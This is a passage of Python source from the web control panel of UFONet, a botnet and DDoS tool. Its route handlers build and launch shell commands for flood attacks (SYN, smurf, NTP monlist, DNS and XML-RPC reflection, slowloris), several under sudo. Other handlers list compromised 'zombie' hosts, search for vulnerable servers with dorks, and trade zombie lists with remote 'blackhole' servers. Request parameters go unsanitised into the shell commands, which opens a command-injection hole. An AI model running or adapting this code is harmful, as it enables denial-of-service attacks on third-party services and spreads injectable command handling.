grid_token = pGet["grid_token"]
3991
else:
3992
grid_token = self.grid_token
3993
if "grid_contact" in list(pGet.keys()):
3994
grid_contact = pGet["grid_contact"]
3995
else:
3996
grid_contact = self.grid_contact
3997
if "grid_nick" in list(pGet.keys()):
3998
grid_nick = pGet["grid_nick"]
3999
else:
4000
grid_nick = self.grid_nick
4001
# set new values on gridcfg json file
4002
with open(self.mothership_gridcfg_file, "w") as f:
4003
json.dump({"grid_token": grid_token, "grid_contact": grid_contact, "grid_nick": grid_nick}, f, indent=4)
4004
4005
def save_cfg(self,pGet):
4006
# set values for requests configuration from html form to json file
4007
if "rproxy" in list(pGet.keys()):
4008
frm_rproxy = pGet["rproxy"].replace(" ","/")
4009
else:
4010
frm_rproxy = self.rproxy
4011
if "ruseragent" in list(pGet.keys()):
4012
frm_ruseragent = pGet["ruseragent"]
4013
else:
4014
frm_ruseragent = self.ruseragent
4015
if "rreferer" in list(pGet.keys()):
4016
frm_rreferer = pGet["rreferer"]
4017
else:
4018
frm_rreferer = self.rreferer
4019
if "rhost" in list(pGet.keys()):
4020
frm_rhost = pGet["rhost"]
4021
else:
4022
frm_rhost = self.rhost
4023
if "rxforw" in list(pGet.keys()):
4024
frm_rxforw = pGet["rxforw"]
4025
else:
4026
if "update" in list(pGet.keys()):
4027
frm_rxforw = ""
4028
else:
4029
frm_rxforw = self.rxforw
4030
if "rxclient" in list(pGet.keys()):
4031
frm_rxclient = pGet["rxclient"]
4032
else:
4033
if "update" in list(pGet.keys()):
4034
frm_rxclient = ""
4035
else:
4036
frm_rxclient = self.rxclient
4037
if "rtimeout" in list(pGet.keys()):
4038
frm_rtimeout = pGet["rtimeout"]
4039
else:
4040
frm_rtimeout = self.rtimeout
4041
if "rretries" in list(pGet.keys()):
4042
frm_rretries = pGet["rretries"]
4043
else:
4044
frm_rretries = self.rretries
4045
if "rdelay" in list(pGet.keys()):
4046
frm_rdelay = pGet["rdelay"]
4047
else:
4048
frm_rdelay = self.rdelay
4049
if "threads" in list(pGet.keys()):
4050
frm_threads = pGet["threads"]
4051
else:
4052
frm_threads = self.threads
4053
if "rssl" in list(pGet.keys()):
4054
frm_rssl = pGet["rssl"]
4055
else:
4056
if "update" in list(pGet.keys()):
4057
frm_rssl = ""
4058
else:
4059
frm_rssl = self.rssl
4060
# set new values on webcfg json file
4061
with open(self.mothership_webcfg_file, "w") as f:
4062
json.dump({"rproxy": frm_rproxy, "ruseragent": frm_ruseragent, "rreferer": frm_rreferer, "rhost": frm_rhost, "rxforw": frm_rxforw, "rxclient": frm_rxclient, "rtimeout": frm_rtimeout, "rretries": frm_rretries, "rdelay": frm_rdelay, "threads":frm_threads, "rssl":frm_rssl}, f, indent=4)
4063
4064
def get(self, request):
4065
# set request options of the user
4066
cmd_options = "--proxy='" + self.rproxy + "' --user-agent='" + self.ruseragent + "' --referer='" + self.rreferer + "' --host='" + self.rhost + "' --timeout='" + self.rtimeout + "' --retries='" + self.rretries + "' --delay='" + self.rdelay +"'" + " --threads='"+self.threads+"'"
4067
if self.rxforw == "on":
4068
cmd_options = cmd_options + " --xforw"
4069
if self.rxclient == "on":
4070
cmd_options = cmd_options + " --xclient"
4071
if self.rssl == "on":
4072
cmd_options = cmd_options + " --force-ssl"
4073
cmd_options = cmd_options + " --force-yes" # no raw_input allowed on webgui
4074
runcmd = ""
4075
try:
4076
res = re.findall(r"^GET ([^\s]+)", request.decode('utf-8'))
4077
except:
4078
res = re.findall(r"^GET ([^\s]+)", request)
4079
if res is None or len(res)==0:
4080
return
4081
pGet = {}
4082
page = res[0]
4083
paramStart = page.find("?")
4084
if paramStart != -1:
4085
page = page[:paramStart]
4086
try:
4087
pGet = self.buildGetParams(request.decode('utf-8'))
4088
except:
4089
pGet = self.buildGetParams(request)
4090
if page.startswith("/js/") or page.startswith("/images/") or page.startswith("/maps/") or page.startswith("/markers/"):
4091
if os.path.exists("core/"+page[1:]):
4092
try:
4093
f=open("core/"+page[1:],'r',encoding="utf-8")
4094
data = f.read()
4095
self.pages[page]=data
4096
except:
4097
f=open("core/"+page[1:],'rb') # ajax map related
4098
data = f.read()
4099
self.pages[page]=data
4100
elif page == "/js/ajax.js":
4101
from .ajaxmap import AjaxMap
4102
self.pages[page] = AjaxMap().ajax(pGet)
4103
if page == "/cmd_check_tool":
4104
self.pages["/cmd_check_tool"] = "<pre>Waiting for updates results...</pre>"
4105
runcmd = "("+python_version+" -i ufonet --update |tee /tmp/out) &"
4106
if page == "/cmd_check_tool_update":
4107
if not os.path.exists('/tmp/out'):
4108
open('/tmp/out', 'w').close()
4109
with open('/tmp/out', 'r') as f:
4110
self.pages["/cmd_check_tool_update"] = "<pre>"+f.read()+"<pre>"
4111
if page == "/cmd_check_tor":
4112
self.pages["/cmd_check_tor"] = "<pre>Waiting for results from the Tor check...</pre>"
4113
runcmd = "("+python_version+" -i ufonet --check-tor |tee /tmp/out) &"
4114
if page == "/cmd_check_tor_update":
4115
if not os.path.exists('/tmp/out'):
4116
open('/tmp/out', 'w').close()
4117
with open('/tmp/out', 'r') as f:
4118
self.pages["/cmd_check_tor_update"] = "<pre>"+f.read()+"<pre>"
4119
if page == "/cmd_view_changelog":
4120
f = open("docs/VERSION", "r")
4121
changelog = f.read()
4122
f.close()
4123
self.pages["/cmd_view_changelog"] = "</center><pre>"+str(changelog)+"<br /><br/>"
4124
if page == "/cmd_list_army":
4125
self.pages["/cmd_list_army"] = "<pre><h1>Total Botnet = "+self.total_botnet+"</h1><table cellpadding='10' cellspacing='10' border='1'><tr><td>UCAVs:</td><td>"+self.num_ucavs+"</td><td>Aliens:</td><td>"+self.num_aliens+"</td></tr><tr><td>Droids:</td><td>"+self.num_droids+"</td><td>Zombies:</td><td>"+self.num_zombies+"</td></tr><tr><td>XML-RPCs:</td><td>"+self.num_rpcs+" </td><td>NTPs:</td><td>"+self.num_ntps+"</td></tr><tr><td>DNSs:</td><td>"+self.num_dnss+"</td><td>SNMPs:</td><td>"+self.num_snmps+"</td></tr></table> <hr><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>UCAVs:</u> <b>"+self.num_ucavs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.ucavs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_ucavs)+"</td><td></h3>"+'\n'.join(self.ucavs)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Aliens:</u> <b>"+self.num_aliens+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.aliens_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_aliens)+"</td><td></h3>"+'\n'.join(self.aliens)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Droids:</u> <b>"+self.num_droids+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.droids_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_droids)+"</td><td></h3>"+'\n'.join(self.droids)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Zombies:</u> <b>"+self.num_zombies+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.zombies_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_zombies)+"</td><td></h3>"+'\n'.join(self.zombies)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>XML-RPCs:</u> <b>"+self.num_rpcs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.rpcs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_rpcs)+"</td><td></h3>"+'\n'.join(self.rpcs)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>NTPs:</u> <b>"+self.num_ntps+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.ntps_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_ntps)+"</td><td></h3>"+'\n'.join(self.ntps)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>DNSs:</u> <b>"+self.num_dnss+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.dnss_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_dnss)+"</td><td></h3>"+'\n'.join(self.dnss)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>SNMPs:</u> <b>"+self.num_snmps+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.snmps_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_snmps)+"</td><td></h3>"+'\n'.join(self.snmps)+"</td></tr></table><br /><br/>"
4126
if page == "/cmd_list_nodes":
4127
self.dec_list_blackholes = []
4128
self.decrypted_blackholes = []
4129
for blackholes_text in self.list_blackholes:
4130
self.decrypt(crypto_key, blackholes_text)
4131
if self.decryptedtext:
4132
if self.decryptedtext not in self.dec_list_blackholes:
4133
self.dec_list_blackholes.append(self.decryptedtext)
4134
else:
4135
return
4136
self.decryptedtext = "" # clean decryptedtext buffer
4137
num_blackholes = 0 # blackholes nodes counter
4138
for b in self.dec_list_blackholes:
4139
s = b.rsplit(blackhole_sep, 1)[0]
4140
ip_b = str(s.rsplit(blackhole_sep, 1)[0].rsplit(":", 1)[1])
4141
if ip_b not in self.decrypted_blackholes:
4142
self.decrypted_blackholes.append(ip_b)
4143
num_blackholes = num_blackholes + 1
4144
self.decrypted_globalnet = []
4145
with open(self.globalnet_file) as f:
4146
ls = f.read().splitlines()
4147
f.close()
4148
num_globalnet = 0 # globalnet nodes counter
4149
for j in ls:
4150
if globalnet_msg_sep in j:
4151
m = j.split(globalnet_msg_sep)
4152
globalnet_ip = m[3] # ip
4153
self.decrypt(crypto_key, globalnet_ip)
4154
if self.decryptedtext:
4155
ip_g = self.decryptedtext
4156
if ip_g not in self.decrypted_globalnet:
4157
self.decrypted_globalnet.append(ip_g)
4158
num_globalnet = num_globalnet + 1
4159
self.decryptedtext = "" # clean decryptedtext buffer
4160
if num_blackholes == 0:
4161
ip_b = "-"
4162
if num_globalnet == 0:
4163
ip_g = "-"
4164
total_nodes = str(num_blackholes + num_globalnet)
4165
self.pages["/cmd_list_nodes"] = "<pre><h1>Total Nodes = "+str(total_nodes)+"</h1><br /><div id='infovis'></div><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u><a href='/radar' target='_blank'>GLOBAL.RADAR:</u></a> <b>"+str(num_globalnet)+"</b></td><td><h3><u><a href='/blackholes' target='_blank'>SHIP.WARPS:</u></a> <b>"+str(num_blackholes)+"</b></td></tr><tr><td></h3>"+'\n'.join(self.decrypted_globalnet)+"</td><td></h3>"+'\n'.join(self.decrypted_blackholes)+"</td></tr></table><br /><br/>"
4166
if page == "/cmd_list_zombies":
4167
self.pages["/cmd_list_zombies"] = "<pre><h1>Total Zombies = "+self.num_zombies+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Zombies:</u> <b>"+self.num_zombies+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.zombies_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_zombies)+"</td><td></h3>"+'\n'.join(self.zombies)+"</td></tr></table><br /><br/>"
4168
if page == "/cmd_list_aliens":
4169
self.pages["/cmd_list_aliens"] = "<pre><h1>Total Aliens = "+self.num_aliens+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Aliens:</u> <b>"+self.num_aliens+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.aliens_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_aliens)+"</td><td></h3>"+'\n'.join(self.aliens)+"</td></tr></table><br /><br/>"
4170
if page == "/cmd_list_droids":
4171
self.pages["/cmd_list_droids"] = "<pre><h1>Total Droids = "+self.num_droids+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Droids:</u> <b>"+self.num_droids+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.droids_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_droids)+"</td><td></h3>"+'\n'.join(self.droids)+"</td></tr></table><br /><br/>"
4172
if page == "/cmd_list_ucavs":
4173
self.pages["/cmd_list_ucavs"] = "<pre><h1>Total UCAVs = "+self.num_ucavs+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>UCAVs:</u> <b>"+self.num_ucavs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.ucavs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_ucavs)+"</td><td></h3>"+'\n'.join(self.ucavs)+"</td></tr></table><br /><br/>"
4174
if page == "/cmd_list_rpcs":
4175
self.pages["/cmd_list_rpcs"] = "<pre><h1>Total XML-RPCs = "+self.num_rpcs+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>XML-RPCs:</u> <b>"+self.num_rpcs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.rpcs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_rpcs)+"</td><td></h3>"+'\n'.join(self.rpcs)+"</td></tr></table><br /><br/>"
4176
if page == "/cmd_list_ntps":
4177
self.pages["/cmd_list_ntps"] = "<pre><h1>Total NTPs = "+self.num_ntps+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>NTPs:</u> <b>"+self.num_ntps+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.ntps_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_ntps)+"</td><td></h3>"+'\n'.join(self.ntps)+"</td></tr></table><br /><br/>"
4178
if page == "/cmd_list_dnss":
4179
self.pages["/cmd_list_dnss"] = "<pre><h1>Total DNSs = "+self.num_dnss+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>DNSs:</u> <b>"+self.num_dnss+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.dnss_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_dnss)+"</td><td></h3>"+'\n'.join(self.dnss)+"</td></tr></table><br /><br/>"
4180
if page == "/cmd_list_snmps":
4181
self.pages["/cmd_list_snmps"] = "<pre><h1>Total SNMPs = "+self.num_snmps+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>SNMPs:</u> <b>"+self.num_snmps+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.snmps_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_snmps)+"</td><td></h3>"+'\n'.join(self.snmps)+"</td></tr></table><br /><br/>"
4182
if page == "/cmd_view_army":
4183
if pGet=={}:
4184
self.pages["/cmd_view_army"] = self.html_army_map()
4185
if page == "/cmd_view_attack":
4186
if 'target' in list(pGet.keys()) != None:
4187
self.pages["/cmd_view_attack"] = self.html_army_map(pGet['target'])
4188
if page == "/cmd_test_army":
4189
self.pages["/cmd_test_army"] = "<pre>Waiting for testing results...</pre>"
4190
runcmd = "("+python_version+" -i ufonet -t " + self.zombies_file + " " + cmd_options + "|tee /tmp/out) &"
4191
if page == "/cmd_test_all":
4192
self.pages["/cmd_test_all"] = "<pre>Waiting for testing results...</pre>"
4193
runcmd = "("+python_version+" -i ufonet --test-all " + cmd_options + "|tee /tmp/out) &"
4194
if page == "/cmd_test_offline":
4195
self.pages["/cmd_test_offline"] = "<pre>Waiting for testing results...</pre>"
4196
runcmd = "("+python_version+" -i ufonet --test-offline " + cmd_options + "|tee /tmp/out) &"
4197
if page == "/cmd_attack_me":
4198
self.pages["/cmd_attack_me"] = "<pre>Waiting for 'attack-me' results...</pre>"
4199
runcmd = "("+python_version+" -i ufonet --attack-me " + cmd_options + "|tee /tmp/out) &"
4200
if page == "/cmd_download_nodes":
4201
self.pages["/cmd_download_nodes"] = "<pre>Waiting for nodes downloading results...</pre>"
4202
runcmd = "("+python_version+" -i ufonet --download-nodes "+ cmd_options + "|tee /tmp/out) &"
4203
if page == "/cmd_download_nodes_update":
4204
if not os.path.exists('/tmp/out'):
4205
open('/tmp/out', 'w').close()
4206
with open('/tmp/out', 'r') as f:
4207
self.pages["/cmd_download_nodes_update"] = "<pre>"+f.read()+"<pre>"
4208
if page == "/cmd_attack_me_update":
4209
if not os.path.exists('/tmp/out'):
4210
open('/tmp/out', 'w').close()
4211
with open('/tmp/out', 'r') as f:
4212
self.pages["/cmd_attack_me_update"] = "<pre>"+f.read()+"<pre>"
4213
if page == "/cmd_download_community":
4214
self.pages["/cmd_download_community"] = "<pre>Waiting for downloading results...</pre>"
4215
runcmd = "("+python_version+" -i ufonet --download-zombies "+ cmd_options + "|tee /tmp/out) &"
4216
if page == "/cmd_download_community_update":
4217
if not os.path.exists('/tmp/out'):
4218
open('/tmp/out', 'w').close()
4219
with open('/tmp/out', 'r') as f:
4220
self.pages["/cmd_download_community_update"] = "<pre>"+f.read()+"<pre>"
4221
if page == "/cmd_download_botnet_ip":
4222
blackhole = pGet["blackhole"]
4223
blackhole=urllib.parse.unquote(blackhole)
4224
self.pages["/cmd_download_botnet_ip"] = "<pre>Waiting for downloading results...</pre>"
4225
runcmd = "("+python_version+" -i ufonet --down-from '"+blackhole+"' "+ cmd_options + "|tee /tmp/out) &"
4226
if page == "/cmd_download_botnet_ip_update":
4227
if not os.path.exists('/tmp/out'):
4228
open('/tmp/out', 'w').close()
4229
with open('/tmp/out', 'r') as f:
4230
self.pages["/cmd_download_botnet_ip_update"] = "<pre>"+f.read()+"<pre>"
4231
if page == "/cmd_upload_community":
4232
self.pages["/cmd_upload_community"] = "<pre>Waiting for uploading results...</pre>"
4233
runcmd = "("+python_version+" -i ufonet --upload-zombies "+ cmd_options + "|tee /tmp/out) &"
4234
if page == "/cmd_upload_community_update":
4235
if not os.path.exists('/tmp/out'):
4236
open('/tmp/out', 'w').close()
4237
with open('/tmp/out', 'r') as f:
4238
self.pages["/cmd_upload_community_update"] = "<pre>"+f.read()+"<pre>"
4239
if page == "/cmd_upload_botnet_ip":
4240
blackhole = pGet["blackhole"]
4241
blackhole=urllib.parse.unquote(blackhole)
4242
self.pages["/cmd_upload_botnet_ip"] = "<pre>Waiting for uploading results...</pre>"
4243
runcmd = "("+python_version+" -i ufonet --up-to '"+blackhole+"' "+ cmd_options + "|tee /tmp/out) &"
4244
if page == "/cmd_upload_botnet_ip_update":
4245
if not os.path.exists('/tmp/out'):
4246
open('/tmp/out', 'w').close()
4247
with open('/tmp/out', 'r') as f:
4248
self.pages["/cmd_upload_botnet_ip_update"] = "<pre>"+f.read()+"<pre>"
4249
if page == "/cmd_test_army_update":
4250
if not os.path.exists('/tmp/out'):
4251
open('/tmp/out', 'w').close()
4252
with open('/tmp/out', 'r') as f:
4253
self.pages["/cmd_test_army_update"] = "<pre>"+f.read()+"<pre>"
4254
if page == "/cmd_test_all_update":
4255
if not os.path.exists('/tmp/out'):
4256
open('/tmp/out', 'w').close()
4257
with open('/tmp/out', 'r') as f:
4258
self.pages["/cmd_test_all_update"] = "<pre>"+f.read()+"<pre>"
4259
if page == "/cmd_test_offline_update":
4260
if not os.path.exists('/tmp/out'):
4261
open('/tmp/out', 'w').close()
4262
with open('/tmp/out', 'r') as f:
4263
self.pages["/cmd_test_offline_update"] = "<pre>"+f.read()+"<pre>"
4264
if page == "/cmd_test_rpcs":
4265
self.pages["/cmd_test_rpcs"] = "<pre>Waiting for XML-RPC testing results...</pre>"
4266
runcmd = "("+python_version+" -i ufonet --test-rpc " + cmd_options + "|tee /tmp/out) &"
4267
if page == "/cmd_test_rpcs_update":
4268
if not os.path.exists('/tmp/out'):
4269
open('/tmp/out', 'w').close()
4270
with open('/tmp/out', 'r') as f:
4271
self.pages["/cmd_test_rpcs_update"] = "<pre>"+f.read()+"<pre>"
4272
if page == "/cmd_attack":
4273
self.pages["/cmd_attack"] = "<pre>Waiting for attacking results...</pre>"
4274
cmd = ""
4275
flag_ufosyn = None
4276
flag_spray = None
4277
flag_smurf = None
4278
flag_xmas = None
4279
flag_nuke = None
4280
flag_tachyon = None
4281
flag_monlist = None
4282
flag_fraggle = None
4283
flag_sniper = None
4284
flag_ufoack = None
4285
flag_uforst = None
4286
flag_droper = None
4287
flag_overlap = None
4288
flag_pinger = None
4289
flag_ufoudp = None
4290
target = pGet["target"].replace(" ","/")
4291
target=urllib.parse.unquote(target)
4292
nonroot_cmd = "("+python_version+" -i ufonet -a '"+target+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' "
4293
root_cmd = "(sudo "+python_version+" -i ufonet -a '"+target+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' "
4294
end_cmd = ""+cmd_options + "|tee /tmp/out) &"
4295
if pGet["dbstress"]:
4296
cmd += "--db '" +str(pGet["dbstress"])+ "' "
4297
if pGet["loic"]:
4298
cmd += "--loic '" +str(pGet["loic"])+ "' "
4299
if pGet["loris"]:
4300
cmd += "--loris '" +str(pGet["loris"])+ "' "
4301
if pGet["ufosyn"]:
4302
cmd += "--ufosyn '" +str(pGet["ufosyn"])+ "' "
4303
flag_ufosyn = True
4304
if pGet["spray"]:
4305
cmd += "--spray '" +str(pGet["spray"])+ "' "
4306
flag_spray = True
4307
if pGet["smurf"]:
4308
cmd += "--smurf '" +str(pGet["smurf"])+ "' "
4309
flag_smurf = True
4310
if pGet["xmas"]:
4311
cmd += "--xmas '" +str(pGet["xmas"])+ "' "
4312
flag_xmas = True
4313
if pGet["nuke"]:
4314
cmd += "--nuke '" +str(pGet["nuke"])+ "' "
4315
flag_nuke = True
4316
if pGet["tachyon"]:
4317
cmd += "--tachyon '" +str(pGet["tachyon"])+ "' "
4318
flag_tachyon = True
4319
if pGet["monlist"]:
4320
cmd += "--monlist '" +str(pGet["monlist"])+ "' "
4321
flag_monlist = True
4322
if pGet["fraggle"]:
4323
cmd += "--fraggle '" +str(pGet["fraggle"])+ "' "
4324
flag_fraggle = True
4325
if pGet["sniper"]:
4326
cmd += "--sniper '" +str(pGet["sniper"])+ "' "
4327
flag_sniper = True
4328
if pGet["ufoack"]:
4329
cmd += "--ufoack '" +str(pGet["ufoack"])+ "' "
4330
flag_ufoack = True
4331
if pGet["uforst"]:
4332
cmd += "--uforst '" +str(pGet["uforst"])+ "' "
4333
flag_uforst = True
4334
if pGet["droper"]:
4335
cmd += "--droper '" +str(pGet["droper"])+ "' "
4336
flag_droper = True
4337
if pGet["overlap"]:
4338
cmd += "--overlap '" +str(pGet["overlap"])+ "' "
4339
flag_overlap = True
4340
if pGet["pinger"]:
4341
cmd += "--pinger '" +str(pGet["pinger"])+ "' "
4342
flag_pinger = True
4343
if pGet["ufoudp"]:
4344
cmd += "--ufoudp '" +str(pGet["ufoudp"])+ "' "
4345
flag_ufoudp = True
4346
if not flag_monlist and not flag_tachyon and not flag_nuke and not flag_xmas and not flag_smurf and not flag_spray and not flag_ufosyn and not flag_fraggle and not flag_sniper and not flag_ufoack and not flag_uforst and not flag_droper and not flag_overlap and not flag_pinger and not flag_ufoudp:
4347
cmd = nonroot_cmd + cmd # non root required (LOIC, LORIS)
4348
if flag_ufosyn == True or flag_spray == True or flag_smurf == True or flag_xmas == True or flag_nuke == True or flag_tachyon == True or flag_monlist == True or flag_fraggle == True or flag_sniper == True or flag_ufoack == True or flag_uforst == True or flag_droper == True or flag_overlap == True or flag_pinger == True or flag_ufoudp == True:
4349
cmd = root_cmd + cmd # root required (UFOSYN, SPRAY, SMURF, XMAS, NUKE, TACHYON, MONLIST, FRAGGLE, SNIPER, UFOACK, UFORST, DROPER, OVERLAP, PINGER, UFOUDP)
4350
runcmd = cmd + end_cmd
4351
if page == "/cmd_attack_update":
4352
if not os.path.exists('/tmp/out'):
4353
open('/tmp/out', 'w').close()
4354
with open('/tmp/out', 'r') as f:
4355
self.pages["/cmd_attack_update"] = "<pre>"+f.read()+"<pre>"
4356
if page == "/cmd_inspect":
4357
self.pages["/cmd_inspect"] = "<pre>Waiting for inspecting results...</pre>"
4358
target = pGet["target"]
4359
target=urllib.parse.unquote(target)
4360
runcmd = "("+python_version+" -i ufonet -i '"+target+"' "+ cmd_options + "|tee /tmp/out) &"
4361
if page == "/cmd_inspect_update":
4362
if not os.path.exists('/tmp/out'):
4363
open('/tmp/out', 'w').close()
4364
with open('/tmp/out', 'r') as f:
4365
self.pages["/cmd_inspect_update"] = "<pre>"+f.read()+"<pre>"
4366
if page == "/cmd_abduction":
4367
self.pages["/cmd_abduction"] = "<pre>Waiting for abduction results...</pre>"
4368
target = pGet["target"]
4369
target=urllib.parse.unquote(target)
4370
runcmd = "("+python_version+" -i ufonet -x '"+target+"' "+ cmd_options + "|tee /tmp/out) &"
4371
if page == "/cmd_abduction_update":
4372
if not os.path.exists('/tmp/out'):
4373
open('/tmp/out', 'w').close()
4374
with open('/tmp/out', 'r') as f:
4375
self.pages["/cmd_abduction_update"] = "<pre>"+f.read()+"<pre>"
4376
if page == "/cmd_search":
4377
self.pages["/cmd_search"] = "<pre>Waiting for search engines results...</pre>"
4378
if pGet["dork_list"] == "on": # search using dork list (file: dorks.txt)
4379
if pGet["all_engines"] == "on": # search using all search engines (and exclude those set by the user)
4380
if pGet["exclude_engines"]:
4381
runcmd = "("+python_version+" -i ufonet --sd 'botnet/dorks.txt' --sa '"+pGet["exclude_engines"]+"' " + cmd_options + "|tee /tmp/out) &"
4382
else:
4383
runcmd = "("+python_version+" -i ufonet --sd 'botnet/dorks.txt' --sa " + cmd_options + "|tee /tmp/out) &"
4384
else: # search using a search engine
4385
runcmd = "("+python_version+" -i ufonet --sd 'botnet/dorks.txt' --se '"+pGet["s_engine"]+"' " + cmd_options + "|tee /tmp/out) &"
4386
else: # search using a pattern
4387
if pGet["autosearch"] == "on": # search using auto-search mod
4388
if pGet["exclude_engines"]:
4389
runcmd = "("+python_version+" -i ufonet --auto-search '"+pGet["exclude_engines"]+"' " + cmd_options + "|tee /tmp/out) &"
4390
else:
4391
runcmd = "("+python_version+" -i ufonet --auto-search " + cmd_options + "|tee /tmp/out) &"
4392
else:
4393
if pGet["all_engines"] == "on": # search using all search engines
4394
if pGet["exclude_engines"]:
4395
runcmd = "("+python_version+" -i ufonet -s '"+pGet["dork"]+"' --sa '"+pGet["exclude_engines"]+"' " + cmd_options + "|tee /tmp/out) &"
4396
else:
4397
runcmd = "("+python_version+" -i ufonet -s '"+pGet["dork"]+"' --sa " + cmd_options + "|tee /tmp/out) &"
4398
else: # search using a search engine
4399
runcmd = "("+python_version+" -i ufonet -s '"+pGet["dork"]+"' --se '"+pGet["s_engine"]+"' " + cmd_options + "|tee /tmp/out) &"
4400
if page == "/cmd_search_update":
4401
if not os.path.exists('/tmp/out'):
4402
open('/tmp/out', 'w').close()
4403
with open('/tmp/out', 'r') as f:
4404
self.pages["/cmd_search_update"] = "<pre>"+f.read()+"<pre>"
4405
if page == "/cmd_refresh_blackholes":
4406
self.pages["/cmd_refresh_blackholes"] = "<pre>Waiting for 'blackhole' reply...</pre>"
4407
blackhole_ip = pGet["blackholes_source"]
4408
blackhole_ip = urllib.parse.unquote(blackhole_ip)
4409
try:
4410
blackholes = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/nodes.txt').read().decode('utf-8')
4411
f = open(self.blackholes, "w") # write updates to nodes
4412
f.write(blackholes)
4413
f.close()
4414
self.blackholes_text = blackholes
4415
except:
4416
blackholes = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
4417
end_mark = "\n[Info] [AI] End of blackholes list (nodes.txt). -> [Refreshing!]"
4418
f = open("/tmp/out", "w")
4419
f.write(str(blackholes))
4420
f.write(end_mark)
4421
f.close()
4422
if page == "/cmd_refresh_blackholes_update":
4423
if not os.path.exists('/tmp/out'):
4424
open('/tmp/out', 'w').close()
4425
with open('/tmp/out', 'r') as f:
4426
self.pages["/cmd_refresh_blackholes_update"] = "<pre>"+f.read()+"<pre>"
4427
if page == "/cmd_refresh_news":
4428
self.pages["/cmd_refresh_news"] = "<pre>Waiting for 'blackhole' reply...</pre>"
4429
blackhole_ip = pGet["news_source"]
4430
blackhole_ip = urllib.parse.unquote(blackhole_ip)
4431
try:
4432
news = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/news.txt').read().decode('utf-8')
4433
f = open(self.news, "w") # write updates to news.txt
4434
f.write(news)
4435
f.close()
4436
self.news_text = news
4437
except:
4438
news = "[Error] [AI] Something wrong downloading. Try it again or using another source....\n"
4439
end_mark = "\n[Info] [AI] End of news feed. -> [Refreshing!]"
4440
f = open("/tmp/out", "w")
4441
f.write(str(news))
4442
f.write(end_mark)
4443
f.close()
4444
if page == "/cmd_refresh_news_update":
4445
if not os.path.exists('/tmp/out'):
4446
open('/tmp/out', 'w').close()
4447
with open('/tmp/out', 'r') as f:
4448
self.pages["/cmd_refresh_news_update"] = "<pre>"+f.read()+"<pre>"
4449
if page == "/cmd_refresh_tv":
4450
self.pages["/cmd_refresh_tv"] = "<pre>Waiting for 'blackhole' reply...</pre>"
4451
blackhole_ip = pGet["tv_source"]
4452
blackhole_ip = urllib.parse.unquote(blackhole_ip)
4453
try:
4454
tv = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/tv.txt').read().decode('utf-8')
4455
f = open(self.tv, "w") # write updates to tv.txt
4456
f.write(tv)
4457
f.close()
4458
self.tv_text = tv
4459
except:
4460
tv = "[Error] [AI] Something wrong downloading. Try it again or using another source....\n"
4461
end_mark = "\n[Info] [AI] End of TV feed. -> [Refreshing!]"
4462
f = open("/tmp/out", "w")
4463
f.write(str(tv))
4464
f.write(end_mark)
4465
f.close()
4466
if page == "/cmd_refresh_tv_update":
4467
if not os.path.exists('/tmp/out'):
4468
open('/tmp/out', 'w').close()
4469
with open('/tmp/out', 'r') as f:
4470
